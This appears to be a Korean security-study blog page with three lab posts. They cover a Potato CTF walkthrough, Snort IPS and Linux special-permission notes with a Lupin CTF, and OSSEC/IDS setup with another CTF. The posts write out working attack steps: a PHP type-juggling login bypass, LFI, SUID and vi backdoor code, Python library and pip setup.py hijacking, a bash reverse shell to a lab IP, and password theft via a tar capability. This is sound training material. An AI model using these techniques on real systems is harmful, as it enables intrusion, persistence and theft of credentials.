palantirops 님의 블로그

[CTF potato] CTF Potato 플래그 찾기 및 과정

palantirops — Fri, 15 May 2026 17:36:26 +0900

왼쪽 Potato로 진행합니다!

Potato: 1 CTF 워크스루

1단계. 호스트 탐색

nmap -sn 172.16.11.0/24

-sn 옵션은 포트 스캔 없이 네트워크 대역에서 살아있는 호스트만 빠르게 찾는 ping scan이다. 전체 대역을 훑어서 타겟 머신의 IP를 특정하는 것이 첫 번째 목표이며, 결과적으로 172.16.11.221이 Oracle VirtualBox NIC임을 확인하여 Potato 머신으로 특정했다.

-> 파이어폭스 172.16.11.221로 접속해본다!

해당 페이지가 나온다.

2단계. 포트 및 서비스 스캔

nmap -sV -sC -p- 172.16.11.221

-sV는 버전 탐지, -sC는 기본 스크립트 실행, -p-는 전체 포트(1~65535) 스캔이다. 결과로 세 가지 서비스를 확인했다.

포트 서비스 의미

22/tcp	OpenSSH 8.2p1	SSH 접근 가능
80/tcp	Apache 2.4.41	웹 서버 존재
2112/tcp	ProFTPD	비표준 포트 FTP

2112번 포트의 FTP는 기본 포트(21)가 아니므로 -p- 전체 스캔 없이는 발견하기 어렵다. 이후 공격의 핵심 진입점이 된다.

----> 여기가 keypoint!

3단계. 웹 디렉터리 열거

gobuster dir -u http://172.16.11.221 \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

웹 서버(80포트)에 숨겨진 경로를 워드리스트 기반으로 브루트포싱한다. 발견된 경로는 다음과 같다.

/admin (301 redirect) → 로그인 페이지 존재
/potato (301 redirect)
/server-status (403 forbidden)

/admin 경로에서 로그인 폼을 발견했고, 이후 공격 방향을 여기로 집중했다.

하지만 아이디와 비번을 모른다!

4단계. SSH 브루트포스 시도 (실패)

sudo nmap -vv --script=ssh-brute.nse -p 22 172.16.11.221

SSH 크리덴셜을 워드리스트로 시도했으나 98%까지 진행해도 유효한 계정을 찾지 못했다. 이 단계는 실패했으며, 다른 공격 벡터를 찾아야 함을 의미한다.

---> 해당 아이디와 비번을 워드리스트로 다 찾아내서 적합한 아이디와 비번을 찾아내는건데, 다른 사람들이 한거 보고 했지만 성공률이 조금씩 떨어지고 시간이 오래 걸려서 포기했다..

5단계. FTP 익명 로그인 및 소스코드 획득

ftp 172.16.11.221 2112

ProFTPD는 설정에 따라 anonymous 로그인을 허용하는 경우가 있다. 패스워드 없이 접속을 시도했더니 성공했다.

# FTP 접속 후
Name: anonymous
Password: (엔터)

ftp> ls -al
ftp> get index.php.bak
ftp> get welcome.msg
ftp> bye

ftp로 접속 성공!! 가장 중요해보이는 두 파일이 보인다?

cat index.php.bak

.bak 확장자는 백업 파일로, 웹 서버에서는 실행되지 않고 소스코드가 그대로 노출된다. cat index.php.bak으로 내용을 확인하면 로그인 로직이 드러난다.

$pass = "potato"; // Change this password regularly

if (strcmp($_POST['username'], "admin") == 0 
    && strcmp($_POST['password'], $pass) == 0) {
    // 로그인 성공
    setcookie('pass', $pass, time() + 365*24*3600);
}

소스코드에서 두 가지를 알 수 있다. 첫째로 username은 admin으로 하드코딩되어 있다. 둘째로 password는 strcmp()로 비교하며 주석에 "정기적으로 바꾼다"고 명시되어 있어, 실제 서버의 비밀번호는 potato에서 변경된 상태임을 알 수 있다.

실제로 admin / potato로 로그인을 시도하면 실패한다. 유저의 아이디만 제대로 알 수 있다! 그건 admin 그리고 form의 경로이다. index.php?login=1 이부분으로 다시 접속해보자 즉!

주소를 잘봐보세요

6단계. /admin 하위 경로 추가 열거

gobuster dir -u http://172.16.11.221/admin \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x .php,.txt

-x 옵션으로 확장자를 지정해 PHP 파일까지 탐색한다. 발견된 경로는 다음과 같다.

/admin/index.php (200)
/admin/logs (301)
/admin/dashboard.php (302 → index.php로 리다이렉트)

/admin/logs에 접속하면 패스워드가 변경된 이력이 로그로 남아있어, 현재 비밀번호는 알 수 없는 상태임을 재확인했다. 따라서 비밀번호를 알지 못해도 로그인을 우회하는 방법이 필요하다.

7단계. PHP Type Juggling으로 로그인 우회

소스코드의 핵심 취약점은 strcmp()의 반환값을 == 0으로 느슨하게 비교한다는 점이다.

취약점 원리:

PHP에서 strcmp()에 문자열 대신 배열을 전달하면 NULL을 반환한다. 그리고 PHP의 느슨한 비교(==)에서 NULL == 0은 true로 평가된다.

strcmp([], "potato") → NULL
NULL == 0            → true  ← 로그인 우회 성공!

이를 이용해 password 필드를 배열로 전송한다.

curl -X POST "http://172.16.11.221/admin/index.php?login=1" \
  -d "username=admin&password[]=" \
  -v

password[]=는 PHP가 배열로 해석하도록 하는 문법이다. 응답 헤더에서 쿠키값을 획득한다.

Set-Cookie: pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh

이 쿠키를 이후 모든 요청에 사용하면 인증된 사용자로 접근할 수 있다.

set-cookie에 값이 있습니다! 중요한 정보입니다.

curl "http://172.16.11.221/admin/dashboard.php" \
--cookie "pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh"

file에 집중해주세요! file을 크랙하면 비밀번호로 갈 수 있습니다 왜냐?

위에 주소 http://ip/admin/logs/에 들어가보면 각 로그 3개의 파일이 있고 이 로그 파일에서 유저의 이름과 비번이 최근에 바뀌었다는걸 알 수 있으니 파일을 해독하면 플래그에 가까워진다는 의미입니다.

8단계. LFI(로컬 파일 인클루전)로 /etc/passwd 획득

대시보드에 접근해 메뉴를 탐색하면 ?page=log 파라미터와 file POST 파라미터로 로그 파일을 읽어오는 기능이 있다.

curl "http://172.16.11.221/admin/dashboard.php?page=log" \
  --cookie "pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh" \
  -d "file=../../../../../../../etc/passwd"

../를 반복해 웹루트를 벗어나 시스템 파일을 읽는 것이 LFI(Local File Inclusion) 공격이다. file 파라미터의 입력값을 검증하지 않아서 가능하다. /etc/passwd를 읽으면 시스템 계정 목록이 출력되며, 하단에 다음 항목을 발견할 수 있다.

webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash

맨 아래를 보세요! webadmin

9단계. 해시 크랙으로 SSH 접속

$1$로 시작하는 해시는 MD5crypt 방식이다. John the Ripper로 크랙한다.

echo 'webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' > pass.txt
john pass.txt

결과: 비밀번호 = dragon

ssh webadmin@172.16.11.221
# password: dragon

SSH 접속 성공 후 홈 디렉터리에서 user.txt 플래그를 획득한다.

10단계. 권한 상승 (PrivEsc)으로 root 획득

sudo -l

sudo -l은 현재 사용자가 sudo로 실행 가능한 명령어 목록을 보여준다. 결과는 다음과 같다.

(ALL) /bin/nice /notes/*

/notes/ 디렉터리 안의 모든 파일을 root 권한으로 실행할 수 있다는 의미다. 그런데 /notes/ 안에 직접 파일을 생성하거나 수정하는 권한이 없다.

우회 방법 — sudo 경로 트래버설:

/notes/* 와일드카드는 /notes/ 하위 파일만 허용하는 것처럼 보이지만, ../를 사용하면 다른 경로의 파일을 지정할 수 있다.

cd /tmp
echo "/bin/bash -p" > exploit.sh
chmod +x exploit.sh
sudo /bin/nice /notes/../tmp/exploit.sh

/notes/../tmp/exploit.sh는 결국 /tmp/exploit.sh와 같은 경로지만, sudo 규칙의 /notes/* 패턴을 통과한다. -p 옵션은 SUID 권한을 유지한 채 bash를 실행해 root 쉘을 얻는다.

whoami
# root

cat /root/root.txt

root.txt의 내용을 base64 디코딩하면 최종 플래그를 획득한다.

echo "bGljb3JuZSB1bmlxYW1iaXN0Z..." | base64 -d

공격 흐름 요약

네트워크 스캔 → 포트 스캔 → 웹 열거
→ FTP 익명 로그인 → 소스코드 획득
→ PHP Type Juggling 로그인 우회
→ LFI로 /etc/passwd 획득
→ MD5 해시 크랙 → SSH 접속 (user.txt)
→ sudo 경로 트래버설 → root 쉘 (root.txt)

[ubuntu & kali & CTF Lupinone] Snort IPS 구성부터 CTF 권한 상승까지

palantirops — Thu, 14 May 2026 17:34:25 +0900

오늘은 Snort를 이용한 IPS 환경 구성, 리눅스 특수 권한 개념, 그리고 CTF 문제 풀이까지 진행했다. 각 주제를 순서대로 정리한다.

1. 실습 환경 구성

가상머신 세 대를 기반으로 실습을 진행했다.

머신 역할

Ubuntu (원본)	Snort + OSSEC
Ubuntu (리버스)	Snort 2.9.x
Kali Linux	Suricata / 공격자 역할

Ubuntu 머신에는 네트워크 어댑터를 두 개 연결했다. 하나는 NAT, 하나는 브릿지 모드로 설정하고, 두 어댑터 모두 Promiscuous Mode(무차별 모드)를 허용했다.

Promiscuous Mode란? 일반적으로 NIC(네트워크 카드)는 자신의 MAC 주소로 향하는 패킷만 받아들인다. Promiscuous Mode를 활성화하면 네트워크를 지나는 모든 패킷을 수신한다. IDS/IPS가 트래픽 전체를 감시하려면 반드시 필요한 설정이다.

2. 네트워크 초기 세팅

정적 IP와 DHCP가 충돌하면 게이트웨이가 사라지는 문제가 반복됐다. 매번 아래 명령어로 수동 복구했다.

# IP 수동 할당
sudo ip addr add 172.16.11.236/24 dev enp0s3

# 인터페이스 활성화
sudo ip link set enp0s3 up
sudo ip link set enp0s8 up

# 기본 게이트웨이 설정
sudo ip route add default via 172.16.11.254 dev enp0s3

# Promiscuous Mode 활성화
sudo ip link set enp0s3 promisc on
sudo ip link set enp0s8 promisc on

# 인터페이스 상태 확인
sudo ip link show enp0s3
ip addr

3. Snort 2.9 IPS 구성

설치

sudo apt install -y snort
# 설치 중 네트워크 대역 입력: 172.16.11.0/24

sudo snort -V
# Snort 2.9.20 확인

snort.conf 설정

sudo vi /etc/snort/snort.conf

추가 또는 수정할 항목:

config daq: afpacket
config daq_mode: inline
config logdir: /var/log/snort

각 설정의 의미

설정 설명

daq: afpacket	리눅스 커널의 AF_PACKET 소켓을 사용해 패킷을 직접 처리한다
daq_mode: inline	패킷을 감시만 하는 것이 아니라 차단까지 수행하는 IPS 모드
logdir	탐지 로그 저장 경로

Snort 3.x는 Lua 기반으로 설정 구조가 완전히 다르다. 2.9 버전 기준으로 작성된 설정이므로 혼용하지 않도록 주의한다.

설정 검증 및 실행

# 설정 파일 문법 검사
sudo snort -T -c /etc/snort/snort.conf -i enp0s3:enp0s8
# "Successfully validated the Snort configuration" 확인

# IPS 모드 실행
sudo snort -A console -Q -c /etc/snort/snort.conf -i enp0s3:enp0s8

옵션 설명

옵션 의미

-A console	탐지 결과를 터미널에 실시간 출력
-Q	inline(IPS) 모드 활성화
-c	설정 파일 경로 지정
-i enp0s3:enp0s8	두 인터페이스를 묶어 인라인 처리

ICMP 차단 룰 작성

sudo vi /etc/snort/rules/local.rules

drop icmp any any -> any any (msg:"IPS PING TEST"; sid:1000001; rev:1;)

룰 구조 설명

항목 값 의미

액션	drop	패킷을 차단하고 로그 기록
프로토콜	icmp	ICMP 패킷 대상
출발지	any any	모든 IP, 모든 포트
방향	->	단방향
목적지	any any	모든 IP, 모든 포트
msg	"IPS PING TEST"	로그에 표시될 메시지
sid	1000001	사용자 정의 룰 ID (1000000번대 사용)

# Kali에서 핑 발송
sudo ping 172.16.11.236

# Ubuntu에서 차단 로그 확인
tail /var/log/snort/snort.alert.fast | grep drop

4. 리눅스 특수 권한

/etc/passwd 파일 구조

순서 필드 설명

1	Username	로그인 이름
2	Password	현재는 x로 표시. 실제 해시는 /etc/shadow에 저장
3	UID	사용자 고유 ID. 0은 root
4	GID	기본 그룹 ID
5	GECOS	이름, 연락처 등 부가 정보
6	Home Dir	홈 디렉토리 경로
7	Shell	기본 쉘 경로

RGID와 EGID

구분 설명

RGID (Real Group ID)	프로세스를 실행한 실제 사용자의 그룹 ID
EGID (Effective Group ID)	커널이 실제 권한 체크 시 참조하는 그룹 ID

파일 접근 권한을 판단할 때 커널은 RGID가 아닌 EGID를 본다. SetUID/SetGID가 이 차이를 이용한다.

SetUID (SUID)

SetUID는 실행 파일에 설정하는 특수 권한이다. 이 권한이 설정된 파일은 누가 실행하든 파일 소유자의 권한(EUID)으로 동작한다.

왜 이게 중요한가?

리눅스에서 일반 사용자가 passwd 명령어로 자신의 비밀번호를 변경할 수 있는 이유가 바로 SetUID 때문이다. /usr/bin/passwd는 root 소유의 파일이고 SUID가 설정돼 있어서, 일반 유저가 실행해도 실행 순간만큼은 root 권한으로 /etc/shadow를 수정할 수 있다. 문제는 이 구조가 공격자에게도 동일하게 작동한다는 점이다. SUID가 설정된 파일을 악의적으로 만들거나, 기존 SUID 바이너리의 취약점을 이용하면 일반 계정으로 root 쉘을 획득할 수 있다.

파일 표기: -rwsr-xr-x
숫자 표기: 4755

# SUID 설정된 파일 목록 조회 (보안 점검 시 필수)
sudo find / -user root -perm /4000

SetUID 백도어 실습

# bash 복사 후 SUID 부여
sudo cp /bin/bash /tmp/bash
sudo chmod 4755 /tmp/bash

# 일반 유저로 실행
cd /tmp
./bash   # → root 쉘 획득

C 백도어 작성

#include <stdio.h>

main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

gcc -o backdoor backdoor.c
sudo chmod 4755 backdoor

# 일반 유저로 실행
su ys
./backdoor   # → root 쉘

setuid(0)과 setgid(0)은 프로세스의 UID/GID를 강제로 0(root)으로 변경하는 호출이다. 파일에 SUID가 설정돼 있으면 이 호출이 성공하고, 이후 system("/bin/bash")로 root 쉘이 실행된다.

vi 하이재킹 실습

SUID 파일의 이름을 자주 쓰는 시스템 명령어로 위장하면 탐지가 어렵다.

# vi 백도어를 실제 vi 경로에 복사
gcc -o vibackdoor vibackdoor.c
# /usr/bin/vi는 alternatives를 통해 실제 바이너리로 연결됨
# test 계정으로 vi 실행 시 root 쉘 획득
su test
vi test.txt   # → root 쉘

Sticky Bit

공용 디렉토리에서 자신이 만든 파일만 자신(과 root)이 삭제할 수 있도록 제한하는 권한이다. /tmp가 대표적인 예시다.

mkdir /share_d
chmod 1777 /share_d
ls -ld /share_d
# drwxrwxrwt → 마지막 't'가 Sticky Bit

권한 숫자 의미

SetUID	4xxx	파일 소유자 권한으로 실행
SetGID	2xxx	파일 그룹 권한으로 실행
Sticky Bit	1xxx	본인 파일만 본인이 삭제 가능

5. CTF — Lupin

정찰

# 포트 및 서비스 스캔
sudo nmap -A -sS -sC -p- 172.16.11.219

# 디렉토리 탐색
sudo dirb http://172.16.11.219
sudo gobuster dir -u http://172.16.11.219 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

nmap 주요 옵션

옵션 명칭 설명

-sS	TCP SYN Scan	연결을 완전히 맺지 않는 스텔스 스캔
-sV	Version Detection	서비스 버전 확인
-sC	Default Script	기본 NSE 스크립트 실행
-sn	Ping Scan	생존 여부만 확인
-A	Aggressive	OS/버전/스크립트/traceroute 통합
-p-	All Ports	전체 65535 포트 스캔

FFUF 디렉토리 퍼징 (디렉터리 검색, 퍼징 등을 수행하는 fest web fuzzer)

# 유저 디렉토리 탐색 (~FUZZ 형태)
sudo ffuf -u http://172.16.11.219/~FUZZ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -t 200 -c
# → /~secret 발견

# 확장자 포함 파일 탐색
sudo ffuf -u http://172.16.11.219/~secret/.FUZZ \
  -e .py,.java,.php,.dart,.rar,.zip,.txt,.html \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -t 200 -c -ic -fc 403

# 일반 파일 탐색
sudo ffuf -u http://172.16.11.219/~secret/FUZZ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -ic -v

인코딩 — Base64 vs Base58

발견한 데이터가 인코딩된 형태였다. 두 방식의 차이를 정리했다.

구분 Base64 Base58

사용 문자 수	64개	58개
특수문자	+, / 포함	없음
패딩	= 사용	없음
혼동 문자	O, 0, I, l 포함	제거됨
주요 용도	데이터 전송, 이메일	암호화폐 주소

SSH 개인키 크랙 — John the Ripper

# 권한 설정
sudo chmod 600 /home/red/victim_id_rsa

# ssh2john으로 해시 추출
sudo ssh2john /home/red/victim_id_rsa > hash_password

# 사전 파일로 크랙
sudo john --wordlist=/usr/share/wordlists/fasttrack.txt hash_password
# 결과: P@55w0rd!

John the Ripper는 해시를 사전 대입(Dictionary Attack) 또는 무차별 대입(Brute-force) 방식으로 크랙한다. SSH 개인키는 ssh2john으로 먼저 john이 처리할 수 있는 해시 형태로 변환해야 한다.

권한 상승 1 — Python Library Hijacking

# 공격자 머신에서 linpeas 서빙
python3 -m http.server 8080

# 피해자 머신에서 다운로드
wget http://172.16.11.213:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# heist.py 확인
cat /home/arsene/heist.py

# webbrowser 모듈 경로 탐색
find / -name '*webbrowser*' 2>/dev/null

# 모듈 파일 수정
vi /usr/lib/python3.9/webbrowser.py
# import 구문 바로 아래에 추가:
# os.system("/bin/bash")

# arsene 권한으로 heist.py 실행
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
id   # arsene 권한 확인

왜 이게 가능한가?

heist.py가 import webbrowser를 호출할 때 Python은 시스템에 설치된 /usr/lib/python3.9/webbrowser.py를 불러온다. 해당 파일을 수정할 수 있는 권한이 있었기 때문에, import 시점에 우리가 심어둔 os.system("/bin/bash")가 실행됐다. 프로그램이 신뢰하는 외부 모듈을 공격자가 조작하는 것을 Library Hijacking이라고 한다.

권한 상승 2 — pip setup.py 악용

# sudo 가능 명령어 확인
sudo -l
# → /usr/bin/pip 실행 가능 확인

# 임시 디렉토리 생성
TF=$(mktemp -d)

# setup.py에 쉘 코드 삽입
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py

# root 권한으로 pip 실행
sudo /usr/bin/pip install $TF
# → root 쉘 획득

왜 pip로 권한 상승이 가능한가?

pip install은 패키지를 설치하는 과정에서 setup.py를 실행한다. sudo pip로 실행하면 이 setup.py가 root 권한으로 실행된다. 따라서 setup.py 안에 쉘을 여는 코드를 넣으면 root 쉘이 떨어진다. Library Hijacking과 본질적으로 같은 원리다. 신뢰받는 실행 경로에 공격자의 코드를 끼워넣는 것이다.

추가 정리

sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

1. sudo -u [사용자]의 마법
sudo는 기본적으로 "다른 사용자의 권한으로 명령을 실행하라"는 도구입니다.
-u arsene: 이 옵션은 "나(icex64) 말고, arsene이라는 사용자의 이름으로 뒤에 오는 명령어를 실행해줘"라고 시스템에 요청하는 것입니다.
결과적으로 /usr/bin/python3.9 /home/arsene/heist.py라는 프로그램이 실행될 때, 운영체제는 이 프로그램의 주인을 icex64가 아닌 arsene으로 인식하게 됩니다.

icex64가 sudo -u arsene으로 프로그램을 돌림.
프로그램은 arsene의 권한으로 살아남.
프로그램이 webbrowser.py를 읽는 순간, 우리가 심어둔 코드가 작동하여 arsene 권한의 쉘(/bin/bash)을 띄움.
프로그램이 종료되지 않고 쉘이 열려 있으니, 사용자는 그대로 arsene 계정 안에 머물게 됨.

오늘의 핵심 정리

주제 핵심

Snort IPS	afpacket + inline 모드, 인터페이스 두 개를 :로 묶어 인라인 처리
Promiscuous Mode	NIC가 자신 외의 패킷도 수신. IDS/IPS 필수 설정
SetUID	실행 시 소유자 권한으로 동작. 보안 점검 시 find / -perm /4000 필수
Library Hijacking	프로그램이 import하는 모듈을 교체해 원하는 코드를 실행
sudo -l	권한 상승 시도 전 항상 먼저 확인. 예상치 못한 경로가 열려 있는 경우가 많음
linpeas	결과가 방대하므로 SUID, sudo 권한, writable 경로 섹션부터 확인

[KaliLinux & Ubuntu & CTF] OSSEC HIDS · CTF 해킹 실습 · IDS (Snort / Suricata) — 처음부터 따라할 수 있는 레퍼런스

palantirops — Wed, 13 May 2026 17:29:32 +0900

보안 실습 노트 | OSSEC · CTF · IDS

Security Lab Notes

보안 실습 명령어 정리

OSSEC HIDS · CTF 해킹 실습 · IDS (Snort / Suricata) — 처음부터 따라할 수 있는 레퍼런스

OSSEC이란?

개념

OSSEC (Open Source Security) — 호스트 기반 침입 탐지 시스템 (HIDS, Host-based Intrusion Detection System)

쉽게 말하면 각 컴퓨터(호스트)에 에이전트를 설치해서, 이상한 일이 생기면 중앙 서버에 보고하는 보안 감시 시스템입니다.

OSSEC이 감시하는 항목들:

탐지 항목	예시	설명
로그 분석	SSH 로그인 실패, sudo 사용	시스템 로그를 실시간으로 파싱해서 수상한 패턴을 찾음
파일 무결성	/etc, /bin 등 변조 감지	중요 파일의 해시 값을 주기적으로 비교. 바뀌면 즉시 알림
루트킷 탐지	악성코드 숨김 탐지	숨겨진 프로세스·파일 탐색
정책 위반	비밀번호 여러 번 틀림	설정한 규칙 위반 시 경보
실시간 알림	alerts.log 기록	탐지 즉시 `/var/ossec/logs/alerts/alerts.log`에 기록

오늘 구성한 아키텍처:

Agent (Linux .236) → UDP/TCP 1514 → OSSEC Server (235) → alerts.log 중앙 관제

OSSEC 서버 설치 (172.16.11.235)

SERVER

서버는 에이전트들로부터 보고를 받는 중앙 관제 역할입니다. 먼저 의존성 패키지를 깔고, Atomic 저장소를 추가한 뒤 ossec-hids-server를 설치합니다.

1단계 — 의존성 패키지 설치

# OSSEC 빌드/실행에 필요한 라이브러리들을 한 번에 설치
sudo apt install -y \
  build-essential make \   # C 컴파일러, make 빌드 도구
  zlib1g-dev libpcre2-dev \ # 압축, 정규표현식 라이브러리
  libevent-dev libssl-dev \ # 이벤트 루프, SSL 암호화
  libz-dev libsqlite3-dev   # 압축, DB (DB 모드 사용 시)

2단계 — Atomic 저장소 추가 (OSSEC 패키지 제공)

# Atomic Corp 저장소를 자동으로 등록하는 스크립트 실행
# -q -O - : 조용히 다운로드 후 바로 bash로 실행
sudo wget -q -O - https://updates.atomicorp.com/installers/atomic | sudo bash

sudo apt update   # 새 저장소 반영

3단계 — OSSEC 서버 설치 & 확인

sudo apt install -y ossec-hids-server

# 설치 확인 — 아래 파일들이 있으면 정상
sudo ls /var/ossec/etc/ossec.conf       # 메인 설정 파일
sudo ls /var/ossec/bin/manage_agents     # 에이전트 키 관리 도구
sudo ls /var/ossec/bin/ossec-control     # 서비스 시작/정지 도구

# OSSEC 서버 시작
sudo /var/ossec/bin/ossec-control start

4단계 — 에이전트 키 등록 (서버에서 수행)

# 에이전트를 서버에 등록하고 인증 키를 발급하는 대화형 툴
sudo /var/ossec/bin/manage_agents

# 메뉴가 뜨면:
# A → Add an agent   (에이전트 추가)
# E → Extract key    (키 출력 — 이걸 클라이언트에 붙여넣기)

5단계 — 에이전트 연결 확인

# 현재 연결된 에이전트 목록 출력
sudo /var/ossec/bin/agent_control -l

# 실시간 알림 로그 모니터링
sudo tail -f /var/ossec/logs/alerts/alerts.log

OSSEC 에이전트 설치 (클라이언트)

AGENT

에이전트는 감시 대상 서버마다 설치합니다. 서버 설치와 동일하게 의존성·저장소를 추가한 후 ossec-hids-agent를 설치하면 됩니다.

1단계 — 서버와 동일하게 의존성 + 저장소 추가

sudo apt install -y build-essential make zlib1g-dev libpcre2-dev \
  libevent-dev libssl-dev libz-dev libsqlite3-dev

sudo wget -q -O - https://updates.atomicorp.com/installers/atomic | sudo bash
sudo apt update

2단계 — OSSEC 에이전트 설치

sudo apt install -y ossec-hids-agent

3단계 — 서버 IP 설정

# 에이전트가 어느 서버에 보고할지 지정
sudo vi /var/ossec/etc/ossec.conf

# 아래 부분을 찾아서 서버 IP 입력
<client>
  <server-ip>172.16.11.235</server-ip>   <!-- 서버 IP -->
</client>

4단계 — 서버에서 발급받은 키 등록

# 대화형 키 등록 도구 실행
sudo /var/ossec/bin/manage_agents

# 메뉴에서:
# I → Import key   (서버의 manage_agents에서 추출한 키를 붙여넣기)
# Q → Quit

5단계 — 에이전트 시작 & 로그 확인

sudo /var/ossec/bin/ossec-control start

# 로그 디렉토리 확인
sudo ls /var/ossec/logs

# 에이전트 쪽 로그 실시간 확인
sudo tail -f /var/ossec/logs/ossec.log

OSSEC 연결 오류 해결

TROUBLESHOOT

에이전트가 Connected to 172.16.11.235는 뜨는데 메시지 전송 실패? → 키 인증 실패 또는 방화벽 포트 차단이 원인입니다.

OSSEC은 UDP/TCP 1514 포트를 사용합니다. 이 포트가 서버에서 열려 있지 않으면 에이전트가 연결은 해도 데이터를 못 보냅니다.

방법 A — firewalld로 포트 열기 (서버 235에서)

# firewalld 설치 (없는 경우)
sudo apt install -y firewalld

# 1514 포트 영구 허용 (UDP + TCP 둘 다)
sudo firewall-cmd --permanent --add-port=1514/udp
sudo firewall-cmd --permanent --add-port=1514/tcp
sudo firewall-cmd --reload

# 적용 확인
sudo firewall-cmd --list-ports

방법 B — ufw 사용 시

# ufw가 활성화된 경우 (ufw status 로 확인)
sudo ufw allow 1514/udp
sudo ufw allow 1514/tcp
sudo ufw reload

양쪽 재시작 (포트 설정 후 반드시)

# 서버 (235) 재시작
sudo /var/ossec/bin/ossec-control restart

# 에이전트 (236) 재시작
sudo /var/ossec/bin/ossec-control restart

# 서버에서 에이전트 연결 상태 확인
sudo /var/ossec/bin/agent_control -l
# "Active" 로 뜨면 성공!

CTF 해킹 실습 흐름

CTF

칼리 리눅스에서 타깃 서버(172.16.11.216)를 공격하는 흐름입니다. 침투 → 권한 상승 → 플래그 탈취 순서로 진행됩니다.

1단계 — enum4linux로 사용자 이름 열거

# SMB 프로토콜을 통해 타깃의 사용자·공유 정보를 수집
sudo enum4linux 172.16.11.216

# 출력 결과에서 유저 확인 예시:
# user:[cyber] rid:[0x3e8]
# → 로그인 이름이 "cyber" 임을 확인

2단계 — 리버스 쉘 연결

# 공격자(칼리, 213)에서 먼저 리스닝 시작
nc -lvp 1234
# -l : listen 모드  -v : 상세 출력  -p : 포트 지정

# 타깃 서버에서 실행 (RCE 취약점 등을 통해 실행)
# bash를 강제로 역방향으로 공격자에게 연결시킴
bash -i >& /dev/tcp/172.16.11.213/1234 0>&1

3단계 — 기본 시스템 정보 수집

# 리버스 쉘 연결 후 가장 먼저 확인할 것들
cat /etc/issue     # OS 버전 (Ubuntu 22.04 등)
uname -a           # 커널 버전 — 커널 익스플로잇 여부 판단
id                 # 현재 사용자 확인
whoami             # 현재 계정 이름

4단계 — 권한 상승 벡터 탐색

# SUID 파일 찾기 — root 권한으로 실행되는 파일 목록
# SUID가 설정된 파일은 실행 시 파일 소유자(주로 root) 권한으로 동작
find / -perm -4000 -type f 2>/dev/null

# Capabilities 확인 — SUID 없이도 특수 권한이 부여된 파일 탐색
# getcap은 예: tar에 cap_dac_read_search 권한이 있으면 모든 파일 읽기 가능
getcap -r / 2>/dev/null

# sudo 가능한 명령어 확인
sudo -l

5단계 — tar Capability 악용 → 비밀 파일 탈취

# getcap 결과에서 tar에 cap_dac_read_search 권한이 있는 경우:
# cap_dac_read_search = 파일 권한 무시하고 모든 파일 읽기 가능

# 원래 읽을 수 없는 비밀번호 백업 파일을 tar로 묶어서 훔침
./tar cf bak.tar /var/backups/.old_pass.bak
# cf : create file — bak.tar 를 생성하면서 .old_pass.bak 포함

# 압축 해제 후 내용 확인
tar -xf bak.tar
cat var/backups/.old_pass.bak   # 비밀번호 출력!

6단계 — root 전환 & 플래그 탈취

# 얻은 비밀번호로 root 전환
su root

# root 홈 디렉토리에서 플래그 찾기
cd /root
ls
cat rOOt.txt   # CTF 플래그!

# 비밀번호 변경 (접근 유지 목적)
passwd         # 1234 등 새 비밀번호 설정

이번 실습 핵심 취약점: Linux Capabilities (getcap)
SUID와 달리 파일 단위로 특정 권한만 부여하는 방식이지만, cap_dac_read_search처럼 강력한 권한이 붙어 있으면 동일하게 권한 상승 경로가 됩니다. 실제 환경에서도 getcap -r /은 반드시 체크해야 할 항목입니다.

IDS 명령어 (Snort / Suricata)

IDS / NMS

네트워크 기반 침입 탐지 (NIDS). OSSEC이 호스트 내부를 감시한다면, Snort/Suricata는 네트워크 트래픽을 감시합니다.

NMS 서버 호스트명 변경

# 서버 이름을 nms-server로 변경 후 쉘 재시작
sudo hostnamectl set-hostname nms-server && exec bash

tcpdump — 네트워크 패킷 캡처

# tcpdump 설치 (RHEL/CentOS/Rocky 계열)
sudo dnf install -y tcpdump

# 특정 인터페이스의 패킷을 파일로 저장
sudo tcpdump -i enp0s3 -w /tmp/capture.pcap
# -i enp0s3 : 캡처할 네트워크 인터페이스 (ip a 로 확인)
# -w        : 결과를 파일로 저장 (Wireshark로 분석 가능)

# 저장된 pcap 파일 읽기
sudo tcpdump -r /tmp/capture.pcap

# 특정 포트만 필터링해서 캡처
sudo tcpdump -i enp0s3 port 80 -w /tmp/http.pcap

# 특정 IP만 필터링
sudo tcpdump -i enp0s3 host 172.16.11.235

자주 헷갈리는 옵션 정리

# ─── tcpdump 옵션 ───────────────────────────────
-i <인터페이스>    # 어떤 NIC에서 캡처할지 (any = 전체)
-w <파일.pcap>     # 파일로 저장 (이 옵션 없으면 터미널에 출력)
-r <파일.pcap>     # 저장된 파일 읽기
-n                 # IP/포트를 이름으로 변환하지 않음 (속도 ↑)
-v / -vv / -vvv   # 상세도 단계별 증가
-c <개수>          # n개 패킷만 캡처 후 종료

# ─── 필터 문법 ──────────────────────────────────
port 22            # SSH 포트만
host 192.168.1.1   # 특정 호스트
tcp / udp          # 프로토콜 필터
not port 443       # HTTPS 제외

Suricata 관련 자주 쓰는 명령어

# Suricata 서비스 상태 확인
sudo systemctl status suricata

# 설정 파일 문법 검사
sudo suricata -T -c /etc/suricata/suricata.yaml

# 인터페이스 지정해서 실행
sudo suricata -i enp0s3

# 이미 캡처된 pcap 파일 오프라인 분석
sudo suricata -r /tmp/capture.pcap

# 알림 로그 실시간 확인
sudo tail -f /var/log/suricata/fast.log
sudo tail -f /var/log/suricata/eve.json   # JSON 형식 (상세)

# 규칙 업데이트 (suricata-update 사용 시)
sudo suricata-update

Snort 관련 자주 쓰는 명령어

# 설정 파일 문법 검사
sudo snort -T -c /etc/snort/snort.conf

